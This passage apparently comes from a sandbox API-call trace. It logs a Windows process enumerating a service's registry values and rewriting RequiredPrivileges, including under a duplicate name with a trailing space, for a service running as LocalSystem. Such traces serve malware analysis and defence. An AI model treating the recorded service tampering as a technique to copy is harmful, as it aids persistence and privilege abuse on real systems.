RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0224.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0224.591] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.591] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0224.592] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0224.592] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0224.592] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0224.592] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d408 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0224.592] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0224.592] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.592] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0224.592] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0224.592] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.592] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.592] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.593] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0224.593] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d408) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.594] RegQueryValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x195) returned 0x0 [0224.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x2152850 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.594] RegQueryValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x2152850, lpcbData=0x36f45c*=0x195 | out: lpType=0x36f454*=0x7, lpData=0x2152850*, lpcbData=0x36f45c*=0x195) returned 0x0 [0224.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0224.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0224.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0224.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0224.594] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0224.594] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0224.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0224.595] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0224.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0224.595] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0224.595] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0224.595] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0224.595] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0224.595] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0224.595] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0224.595] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0224.596] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0224.596] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0224.596] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0224.596] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0224.596] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0224.596] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0224.596] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0224.596] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0224.596] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.596] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.596] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0224.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0224.597] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0224.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0224.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0224.597] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0224.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.597] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4730) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46e8) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f46a0) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4658) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d358) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4610) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d488) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f45c8) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4580) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4538) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3f8) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44f0) returned 1 [0224.597] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f44a8) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4460) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4388) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157010) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2157020) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.598] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0224.598] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x1, lpData=0x0, lpcbData=0x36f45c*=0xc) returned 0x0 [0224.598] RegQueryValueExA (in: hKey=0x150, lpValueName="ObjectName", lpReserved=0x0, lpType=0x36f454, lpData=0x21f4808, lpcbData=0x36f45c*=0xc | out: lpType=0x36f454*=0x1, lpData="LocalSystem", lpcbData=0x36f45c*=0xc) returned 0x0 [0224.598] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0224.598] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0224.598] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0224.598] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0224.598] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) 